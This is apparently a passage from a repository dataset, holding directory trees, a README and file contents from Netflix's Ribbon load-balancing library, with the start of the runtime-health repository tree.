"AbstractSslContextFactory.java"}, {"type": "file", "name": "ClientSslSocketFactoryException.java"}, {"type": "file", "name": "URLSslContextFactory.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "Resources.java"}]}, {"type": "file", "name": "Utils.java"}, {"type": "file", "name": "VipAddressResolver.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "directory", "name": "services", "children": [{"type": "file", "name": "com.netflix.client.config.ClientConfigFactory"}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "client", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "ArchaiusPropertyResolverTest.java"}, {"type": "file", "name": "ClientConfigTest.java"}, {"type": "file", "name": "CommonClientConfigKeyTest.java"}, {"type": "file", "name": "DefaultClientConfigImplTest.java"}, {"type": "file", "name": "ReloadableClientConfigTest.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}]}]}]}, {"type": "directory", "name": "ribbon-eureka", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "niws", "children": [{"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "DiscoveryEnabledNIWSServerList.java"}, {"type": "file", "name": "DiscoveryEnabledServer.java"}, {"type": "file", "name": "EurekaNotificationServerListUpdater.java"}, {"type": "file", "name": "LegacyEurekaClientProvider.java"}, {"type": "file", "name": "NIWSDiscoveryPing.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "EurekaDynamicServerListLoadBalancerTest.java"}]}, {"type": "directory", "name": "niws", "children": [{"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "DefaultNIWSServerListFilterTest.java"}, {"type": "file", "name": "DiscoveryEnabledLoadBalancerSupportsPortOverrideTest.java"}, {"type": "file", "name": "DiscoveryEnabledLoadBalancerSupportsUseIpAddrTest.java"}, {"type": "file", "name": "EurekaNotificationServerListUpdaterTest.java"}, {"type": "file", "name": "LBBuilderTest.java"}, {"type": "file", "name": "LoadBalancerTestUtils.java"}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}]}]}]}, {"type": "directory", "name": "ribbon-evcache", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "directory", "name": "evache", "children": [{"type": "file", "name": "CacheFaultException.java"}, {"type": "file", "name": "CacheMissException.java"}, {"type": "file", "name": "EvCacheOptions.java"}, {"type": "file", "name": "EvCacheProvider.java"}]}, {"type": "directory", "name": "proxy", "children": [{"type": "directory", "name": "annotation", "children": [{"type": "file", "name": "EvCache.java"}]}, {"type": "directory", "name": "processor", "children": [{"type": "file", "name": "EVCacheAnnotationProcessor.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "META-INF", "children": [{"type": "directory", "name": "services", "children": [{"type": "file", "name": "com.netflix.ribbon.proxy.processor.AnnotationProcessor"}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "directory", "name": "evache", "children": [{"type": "file", "name": "EvCacheProviderTest.java"}, {"type": "file", "name": "ServiceLoaderTest.java"}]}, {"type": "directory", "name": "proxy", "children": [{"type": "file", "name": "EvCacheAnnotationTest.java"}, {"type": "directory", "name": "sample", "children": [{"type": "file", "name": "EvCacheClasses.java"}, {"type": "file", "name": "HystrixHandlers.java"}, {"type": "file", "name": "Movie.java"}, {"type": "file", "name": "MovieServiceInterfaces.java"}, {"type": "file", "name": "MovieTransformer.java"}, {"type": "file", "name": "ResourceGroupClasses.java"}, {"type": "file", "name": "SampleCacheProviderFactory.java"}, {"type": "file", "name": "SampleMovieServiceWithEVCache.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "ribbon-examples", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "directory", "name": "examples", "children": [{"type": "file", "name": "ExampleAppWithLocalResource.java"}, {"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "URLConnectionLoadBalancer.java"}]}, {"type": "directory", "name": "netty", "children": [{"type": "directory", "name": "http", "children": [{"type": "file", "name": "LoadBalancingExample.java"}, {"type": "file", "name": "SimpleGet.java"}]}]}, {"type": "directory", "name": "restclient", "children": [{"type": "file", "name": "SampleApp.java"}]}, {"type": "directory", "name": "rx", "children": [{"type": "file", "name": "AbstractRxMovieClient.java"}, {"type": "directory", "name": "common", "children": [{"type": "file", "name": "InMemoryCacheProviderFactory.java"}, {"type": "file", "name": "Movie.java"}, {"type": "file", "name": "Recommendations.java"}, {"type": "file", "name": "RecommendationServiceFallbackHandler.java"}, {"type": "file", "name": "RecommendationServiceResponseValidator.java"}, {"type": "file", "name": "RxMovieTransformer.java"}]}, {"type": "directory", "name": "proxy", "children": [{"type": "file", "name": "MovieService.java"}, {"type": "file", "name": "RxMovieProxyExample.java"}]}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "RxMovieServer.java"}, {"type": "directory", "name": "template", "children": [{"type": "file", "name": "RxMovieTemplateExample.java"}]}, {"type": "directory", "name": "transport", "children": [{"type": "file", "name": "RxMovieTransportExample.java"}]}]}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "ServerResources.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "sample-client.properties"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "directory", "name": "examples", "children": [{"type": "directory", "name": "rx", "children": [{"type": "directory", "name": "common", "children": [{"type": "file", "name": "MovieTest.java"}, {"type": "file", "name": "RecommendationsTest.java"}]}, {"type": "directory", "name": "proxy", "children": [{"type": "file", "name": "RxMovieProxyExampleTest.java"}]}, {"type": "file", "name": "RxMovieClientTestBase.java"}, {"type": "file", "name": "RxMovieServerTest.java"}, {"type": "directory", "name": "template", "children": [{"type": "file", "name": "RxMovieTemplateExampleTest.java"}]}, {"type": "directory", "name": "transport", "children": [{"type": "file", "name": "RxMovieTransportExampleTest.java"}]}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "ribbon-guice", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "directory", "name": "guice", "children": [{"type": "file", "name": "RibbonModule.java"}, {"type": "file", "name": "RibbonResourceProvider.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "directory", "name": "examples", "children": [{"type": "directory", "name": "rx", "children": [{"type": "directory", "name": "proxy", "children": [{"type": "file", "name": "RxMovieProxyExample.java"}]}, {"type": "file", "name": "RibbonModuleTest.java"}, {"type": "file", "name": "RxMovieClientTestBase.java"}, {"type": "file", "name": "RxMovieProxyExampleTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "ribbon-httpclient", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "client", "children": [{"type": "directory", "name": "http", "children": [{"type": "file", "name": "CaseInsensitiveMultiMap.java"}, {"type": "file", "name": "HttpHeaders.java"}, {"type": "file", "name": "HttpRequest.java"}, {"type": "file", "name": "HttpResponse.java"}]}]}, {"type": "directory", "name": "http4", "children": [{"type": "file", "name": "ConnectionPoolCleaner.java"}, {"type": "file", "name": "MonitoredConnectionManager.java"}, {"type": "file", "name": "NamedConnectionPool.java"}, {"type": "file", "name": "NFHttpClient.java"}, {"type": "file", "name": "NFHttpClientFactory.java"}, {"type": "file", "name": "NFHttpMethodRetryHandler.java"}, {"type": "directory", "name": "ssl", "children": [{"type": "file", "name": "AcceptAllSocketFactory.java"}, {"type": "file", "name": "KeyStoreAwareSocketFactory.java"}]}]}, {"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "PingUrl.java"}]}, {"type": "directory", "name": "niws", "children": [{"type": "directory", "name": "client", "children": [{"type": "directory", "name": "http", "children": [{"type": "file", "name": "HttpClientLoadBalancerErrorHandler.java"}, {"type": "file", "name": "HttpClientRequest.java"}, {"type": "file", "name": "HttpClientResponse.java"}, {"type": "file", "name": "HttpPrimeConnection.java"}, {"type": "file", "name": "RestClient.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "client", "children": [{"type": "file", "name": "ClientFactoryTest.java"}, {"type": "file", "name": "ManyShortLivedRequestsSurvivorTest.java"}, {"type": "directory", "name": "samples", "children": [{"type": "file", "name": "SampleApp.java"}]}, {"type": "directory", "name": "testutil", "children": [{"type": "file", "name": "SimpleSSLTestServer.java"}]}]}, {"type": "directory", "name": "http4", "children": [{"type": "file", "name": "NamedConnectionPoolTest.java"}, {"type": "file", "name": "NFHttpClientTest.java"}]}, {"type": "directory", "name": "niws", "children": [{"type": "directory", "name": "client", "children": [{"type": "directory", "name": "http", "children": [{"type": "file", "name": "FollowRedirectTest.java"}, {"type": "file", "name": "GetPostTest.java"}, {"type": "file", "name": "PrimeConnectionsTest.java"}, {"type": "file", "name": "ResponseTimeWeightedRuleTest.java"}, {"type": "file", "name": "RestClientTest.java"}, {"type": "file", "name": "RetryTest.java"}, {"type": "file", "name": "SecureAcceptAllGetTest.java"}, {"type": "file", "name": "SecureGetTest.java"}, {"type": "file", "name": "SecureRestClientKeystoreTest.java"}, {"type": "file", "name": "TestObject.java"}, {"type": "file", "name": "TestResource.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}, {"type": "file", "name": "sample-client.properties"}]}]}]}]}, {"type": "directory", "name": "ribbon-loadbalancer", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "client", "children": [{"type": "file", "name": "AbstractLoadBalancerAwareClient.java"}, {"type": "file", "name": "ClientFactory.java"}, {"type": "file", "name": "IPrimeConnection.java"}, {"type": "file", "name": "PrimeConnections.java"}]}, {"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "AbstractLoadBalancer.java"}, {"type": "file", "name": "AbstractLoadBalancerPing.java"}, {"type": "file", "name": "AbstractLoadBalancerRule.java"}, {"type": "file", "name": "AbstractServerList.java"}, {"type": "file", "name": "AbstractServerListFilter.java"}, {"type": "file", "name": "AbstractServerPredicate.java"}, {"type": "file", "name": "AvailabilityFilteringRule.java"}, {"type": "file", "name": "AvailabilityPredicate.java"}, {"type": "file", "name": "BaseLoadBalancer.java"}, {"type": "file", "name": "BestAvailableRule.java"}, {"type": "file", "name": "ClientConfigEnabledRoundRobinRule.java"}, {"type": "file", "name": "CompositePredicate.java"}, {"type": "file", "name": "ConfigurationBasedServerList.java"}, {"type": "file", "name": "DummyPing.java"}, {"type": "file", "name": "DynamicServerListLoadBalancer.java"}, {"type": "file", "name": "ILoadBalancer.java"}, {"type": "file", "name": "InterruptTask.java"}, {"type": "file", "name": "IPing.java"}, {"type": "file", "name": "IPingStrategy.java"}, {"type": "file", "name": "IRule.java"}, {"type": "file", "name": "LoadBalancerBuilder.java"}, {"type": "file", "name": "LoadBalancerContext.java"}, {"type": "file", "name": "LoadBalancerStats.java"}, {"type": "file", "name": "NoOpLoadBalancer.java"}, {"type": "file", "name": "NoOpPing.java"}, {"type": "file", "name": "PingConstant.java"}, {"type": "file", "name": "PollingServerListUpdater.java"}, {"type": "file", "name": "PredicateBasedRule.java"}, {"type": "file", "name": "PredicateKey.java"}, {"type": "file", "name": "RandomRule.java"}, {"type": "directory", "name": "reactive", "children": [{"type": "file", "name": "ExecutionContext.java"}, {"type": "file", "name": "ExecutionContextListenerInvoker.java"}, {"type": "file", "name": "ExecutionInfo.java"}, {"type": "file", "name": "ExecutionListener.java"}, {"type": "file", "name": "LoadBalancerCommand.java"}, {"type": "file", "name": "ServerOperation.java"}]}, {"type": "file", "name": "ResponseTimeWeightedRule.java"}, {"type": "file", "name": "RetryRule.java"}, {"type": "file", "name": "RoundRobinRule.java"}, {"type": "file", "name": "Server.java"}, {"type": "file", "name": "ServerComparator.java"}, {"type": "file", "name": "ServerList.java"}, {"type": "file", "name": "ServerListChangeListener.java"}, {"type": "file", "name": "ServerListFilter.java"}, {"type": "file", "name": "ServerListSubsetFilter.java"}, {"type": "file", "name": "ServerListUpdater.java"}, {"type": "file", "name": "ServerStats.java"}, {"type": "file", "name": "ServerStatusChangeListener.java"}, {"type": "file", "name": "WeightedResponseTimeRule.java"}, {"type": "file", "name": "ZoneAffinityPredicate.java"}, {"type": "file", "name": "ZoneAffinityServerListFilter.java"}, {"type": "file", "name": "ZoneAvoidancePredicate.java"}, {"type": "file", "name": "ZoneAvoidanceRule.java"}, {"type": "file", "name": "ZoneAwareLoadBalancer.java"}, {"type": "file", "name": "ZoneSnapshot.java"}, {"type": "file", "name": "ZoneStats.java"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "client", "children": [{"type": "file", "name": "SimpleVipAddressResolverTest.java"}, {"type": "directory", "name": "testutil", "children": [{"type": "file", "name": "MockHttpServer.java"}]}]}, {"type": "directory", "name": "loadbalancer", "children": [{"type": "file", "name": "BestAvailableRuleTest.java"}, {"type": "file", "name": "ConfigurationBasedServerListTest.java"}, {"type": "file", "name": "DynamicServerListLoadBalancerTest.java"}, {"type": "file", "name": "LoadBalancerCommandTest.java"}, {"type": "file", "name": "LoadBalancerContextTest.java"}, {"type": "file", "name": "MockServerList.java"}, {"type": "file", "name": "PollingServerListUpdaterTest.java"}, {"type": "file", "name": "PredicatesTest.java"}, {"type": "file", "name": "RandomLBTest.java"}, {"type": "directory", "name": "reactive", "children": [{"type": "file", "name": "ExecutionContextTest.java"}]}, {"type": "file", "name": "ServerListChangeListenerTest.java"}, {"type": "file", "name": "ServerListLoabBalancerTest.java"}, {"type": "file", "name": "ServerStatsTest.java"}, {"type": "file", "name": "ServerStatusChangeListenerTest.java"}, {"type": "file", "name": "ServerTest.java"}, {"type": "file", "name": "SimpleRoundRobinLBTest.java"}, {"type": "file", "name": "SimpleRoundRobinWithRetryLBTest.java"}, {"type": "file", "name": "SubsetFilterTest.java"}, {"type": "file", "name": "WeightedResponseTimeRuleTest.java"}, {"type": "file", "name": "ZoneAwareLoadBalancerTest.java"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}]}]}]}, {"type": "directory", "name": "ribbon-test", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "directory", "name": "test", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "EmbeddedResources.java"}]}]}, {"type": "directory", "name": "testutils", "children": [{"type": "file", "name": "MockedDiscoveryServerListTest.java"}, {"type": "file", "name": "TestUtils.java"}]}]}, {"type": "directory", "name": "serialization", "children": [{"type": "file", "name": "Deserializer.java"}, {"type": "file", "name": "JacksonCodec.java"}, {"type": "file", "name": "SerializationUtils.java"}, {"type": "file", "name": "Serializer.java"}, {"type": "file", "name": "StringDeserializer.java"}, {"type": "file", "name": "TypeDef.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "ribbon-transport", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "ribbon", "children": [{"type": "file", "name": "RibbonTransportFactory.java"}, {"type": "directory", "name": "transport", "children": [{"type": "directory", "name": "netty", "children": [{"type": "file", "name": "DynamicPropertyBasedPoolStrategy.java"}, {"type": "directory", "name": "http", "children": [{"type": "file", "name": "DefaultResponseToErrorPolicy.java"}, {"type": "file", "name": "LoadBalancingHttpClient.java"}, {"type": "file", "name": "NettyHttpLoadBalancerErrorHandler.java"}, {"type": "file", "name": "SSEClient.java"}]}, {"type": "file", "name": "LoadBalancingRxClient.java"}, {"type": "file", "name": "LoadBalancingRxClientWithPoolOptions.java"}, {"type": "file", "name": "RibbonTransport.java"}, {"type": "directory", "name": "tcp", "children": [{"type": "file", "name": "LoadBalancingTcpClient.java"}]}, {"type": "directory", "name": "udp", "children": [{"type": "file", "name": "LoadBalancingUdpClient.java"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "client", "children": [{"type": "directory", "name": "netty", "children": [{"type": "directory", "name": "udp", "children": [{"type": "file", "name": "HelloUdpServerExternalResource.java"}]}]}]}, {"type": "directory", "name": "ribbon", "children": [{"type": "directory", "name": "transport", "children": [{"type": "directory", "name": "netty", "children": [{"type": "file", "name": "DynamicPropertyBasedPoolStrategyTest.java"}, {"type": "directory", "name": "http", "children": [{"type": "file", "name": "DiscoveryLoadBalancerTest.java"}, {"type": "file", "name": "ListenerTest.java"}, {"type": "file", "name": "NettyClientTest.java"}, {"type": "file", "name": "ObserverWithLatch.java"}, {"type": "file", "name": "ServerListRefreshTest.java"}, {"type": "file", "name": "TestExecutionListener.java"}]}, {"type": "file", "name": "MyUDPClient.java"}, {"type": "directory", "name": "udp", "children": [{"type": "file", "name": "HelloUdpServer.java"}, {"type": "file", "name": "UdpClientTest.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}]}]}]}, {"type": "file", "name": "settings.gradle"}]} | This example contains implementation of a simple movie service. Three different clients are implemented with
equivalent functionality, but on top of different Ribbon API layers:
Example | Description
--------|-------------
[RxMovieProxyExample](proxy) | Ribbon proxy based implementation.
[RxMovieTemplateExample](template) | Ribbon template based implementation.
[RxMovieTransportExample](transport) | An implementation using directly RxNetty load balancing HTTP client.
Before running any of those examples, [RxMovieServer](RxMovieServer.java) must be started first.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".github\\workflows\\gradle-wrapper-validation.yml": "name: \"Gradle Wrapper\"\non: [push, pull_request]\n\njobs:\n validation:\n name: \"validation\"\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v2\n - uses: gradle/wrapper-validation-action@v1\n", "gradle\\wrapper\\gradle-wrapper.properties": "distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-8.4-bin.zip\nnetworkTimeout=10000\nvalidateDistributionUrl=true\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\n", "ribbon-examples\\src\\main\\java\\com\\netflix\\ribbon\\examples\\ExampleAppWithLocalResource.java": "/*\n *\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\npackage com.netflix.ribbon.examples;\n\nimport java.util.Random;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\nimport com.sun.jersey.api.container.httpserver.HttpServerFactory;\nimport com.sun.jersey.api.core.PackagesResourceConfig;\nimport com.sun.net.httpserver.HttpServer;\n\n/**\n * A base class for some sample applications that starts and stops a local server\n * \n * @author awang\n *\n */\npublic abstract class ExampleAppWithLocalResource {\n\n public int port = (new Random()).nextInt(1000) + 4000; \n public String SERVICE_URI = \"http://localhost:\" + port + \"/\";\n HttpServer server = null;\n \n public abstract void run() throws Exception;\n \n @edu.umd.cs.findbugs.annotations.SuppressWarnings\n public final void runApp() throws Exception {\n PackagesResourceConfig resourceConfig = new PackagesResourceConfig(\"com.netflix.ribbon.examples.server\");\n ExecutorService service = Executors.newFixedThreadPool(50);\n try{\n server = HttpServerFactory.create(SERVICE_URI, resourceConfig); \n server.setExecutor(service);\n server.start();\n run();\n } finally {\n System.err.println(\"Shut down server ...\");\n if (server != null) {\n server.stop(1);\n }\n service.shutdownNow();\n }\n System.exit(0);\n }\n}\n", "ribbon-examples\\src\\main\\java\\com\\netflix\\ribbon\\examples\\restclient\\SampleApp.java": "/*\n*\n* Copyright 2013 Netflix, Inc.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http://www.apache.org/licenses/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*/\n\npackage com.netflix.ribbon.examples.restclient;\n\nimport java.net.URI;\n\nimport com.netflix.client.ClientFactory;\nimport com.netflix.client.http.HttpRequest;\nimport com.netflix.client.http.HttpResponse;\nimport com.netflix.config.ConfigurationManager;\nimport com.netflix.loadbalancer.ZoneAwareLoadBalancer;\nimport com.netflix.niws.client.http.RestClient;\n\npublic class SampleApp {\n\tpublic static void main(String[] args) throws Exception {\n ConfigurationManager.loadPropertiesFromResources(\"sample-client.properties\"); // 1\n System.out.println(ConfigurationManager.getConfigInstance().getProperty(\"sample-client.ribbon.listOfServers\"));\n RestClient client = (RestClient) ClientFactory.getNamedClient(\"sample-client\"); // 2\n HttpRequest request = HttpRequest.newBuilder().uri(new URI(\"/\")).build(); // 3\n for (int i = 0; i < 20; i++) {\n \tHttpResponse response = client.executeWithLoadBalancer(request); // 4\n \tSystem.out.println(\"Status code for \" + response.getRequestedURI() + \" :\" + response.getStatus());\n }\n @SuppressWarnings(\"rawtypes\")\n ZoneAwareLoadBalancer lb = (ZoneAwareLoadBalancer) client.getLoadBalancer();\n System.out.println(lb.getLoadBalancerStats());\n ConfigurationManager.getConfigInstance().setProperty(\n \t\t\"sample-client.ribbon.listOfServers\", \"www.linkedin.com:80,www.google.com:80\"); // 5\n System.out.println(\"changing servers ...\");\n Thread.sleep(3000); // 6\n for (int i = 0; i < 20; i++) {\n HttpResponse response = null;\n try {\n \t response = client.executeWithLoadBalancer(request);\n \t System.out.println(\"Status code for \" + response.getRequestedURI() + \" : \" + response.getStatus());\n } finally {\n if (response != null) {\n response.close();\n }\n }\n }\n System.out.println(lb.getLoadBalancerStats()); // 7\n\t}\n}\n", "ribbon-httpclient\\src\\test\\java\\com\\netflix\\client\\samples\\SampleApp.java": "/*\n*\n* Copyright 2013 Netflix, Inc.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http://www.apache.org/licenses/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*/\n\npackage com.netflix.client.samples;\n\nimport java.net.URI;\n\nimport org.junit.Ignore;\n\nimport com.netflix.client.ClientFactory;\nimport com.netflix.client.http.HttpRequest;\nimport com.netflix.client.http.HttpResponse;\nimport com.netflix.config.ConfigurationManager;\nimport com.netflix.loadbalancer.ZoneAwareLoadBalancer;\nimport com.netflix.niws.client.http.RestClient;\n\n@Ignore\npublic class SampleApp {\n\n\tpublic static void main(String[] args) throws Exception {\n ConfigurationManager.loadPropertiesFromResources(\"sample-client.properties\"); // 1\n System.out.println(ConfigurationManager.getConfigInstance().getProperty(\"sample-client.ribbon.listOfServers\"));\n RestClient client = (RestClient) ClientFactory.getNamedClient(\"sample-client\"); // 2\n HttpRequest request = HttpRequest.newBuilder().uri(new URI(\"/\")).build(); // 3\n for (int i = 0; i < 20; i++) {\n \tHttpResponse response = client.executeWithLoadBalancer(request); // 4\n \tSystem.out.println(\"Status code for \" + response.getRequestedURI() + \" :\" + response.getStatus());\n }\n ZoneAwareLoadBalancer lb = (ZoneAwareLoadBalancer) client.getLoadBalancer();\n System.out.println(lb.getLoadBalancerStats());\n ConfigurationManager.getConfigInstance().setProperty(\n \t\t\"sample-client.ribbon.listOfServers\", \"www.linkedin.com:80,www.google.com:80\"); // 5\n System.out.println(\"changing servers ...\");\n Thread.sleep(3000); // 6\n for (int i = 0; i < 20; i++) {\n \tHttpResponse response = client.executeWithLoadBalancer(request);\n \tSystem.out.println(\"Status code for \" + response.getRequestedURI() + \" : \" + response.getStatus());\n }\n System.out.println(lb.getLoadBalancerStats()); // 7\n\t}\n\n}\n"} | null |
runtime-health | {"type": "directory", "name": "runtime-health", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradlew"}, {"type": "directory", "name": "health-api", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "runtime", "children": [{"type": "directory", "name": "health", "children": [{"type": "directory", "name": "api", "children": [{"type": "file", "name": "Health.java"}, {"type": "file", "name": "HealthCheckAggregator.java"}, {"type": "file", "name": "HealthCheckStatus.java"}, {"type": "file", "name": "HealthIndicator.java"}, {"type": "file", "name": "HealthIndicatorCallback.java"}, {"type": "file", "name": "IndicatorMatcher.java"}, {"type": "file", "name": "IndicatorMatchers.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "runtime", "children": [{"type": "directory", "name": "health", "children": [{"type": "directory", "name": "api", "children": [{"type": "file", "name": "HealthBuilderTest.java"}, {"type": "file", "name": "IndicatorMatchersTest.java"}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "health-core", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "runtime", "children": [{"type": "directory", "name": "health", "children": [{"type": "directory", "name": "core", "children": [{"type": "directory", "name": "caching", "children": [{"type": "file", "name": "CachingHealthIndicator.java"}, {"type": "file", "name": "DefaultCachingHealthCheckAggregator.java"}]}, {"type": "file", "name": "HealthCheckStatusChangedEvent.java"}, {"type": "file", "name": "SimpleHealthCheckAggregator.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", 